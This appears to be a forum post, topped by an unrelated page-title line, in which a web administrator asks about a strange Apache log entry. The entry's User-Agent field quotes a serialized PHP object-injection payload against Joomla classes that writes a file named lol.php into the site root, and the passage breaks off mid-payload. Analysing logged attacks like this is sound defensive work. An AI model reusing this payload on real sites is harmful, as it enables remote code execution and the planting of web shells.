shellz | small utility to track and control your ssh , telnet , web | Telnet library

I have recently been working on preventing SQL injection in my production Apache/PHP/MySQL web application.

For this, I routinely skim Apache access logs for abnormal requests and occasionally attempt to replicate them if I find them peculiar (anyone have a better recommendation?).

Today, I saw a strange log appear in the access log. I see that an HTTP referrer exists, but I do not have a matching log for the original request. There is also not a matching log in the Apache Error Log that implies it was "denied by server configuration".

Here is the strange log (base_64 decoded):

169.239.180.100 - - [22/Mar/2017:04:01:37 +0000] "GET / HTTP/1.1" 200 13963 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3462:\"$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ; $fp=fopen("$check","w+"); fwrite($fp,base64_decode('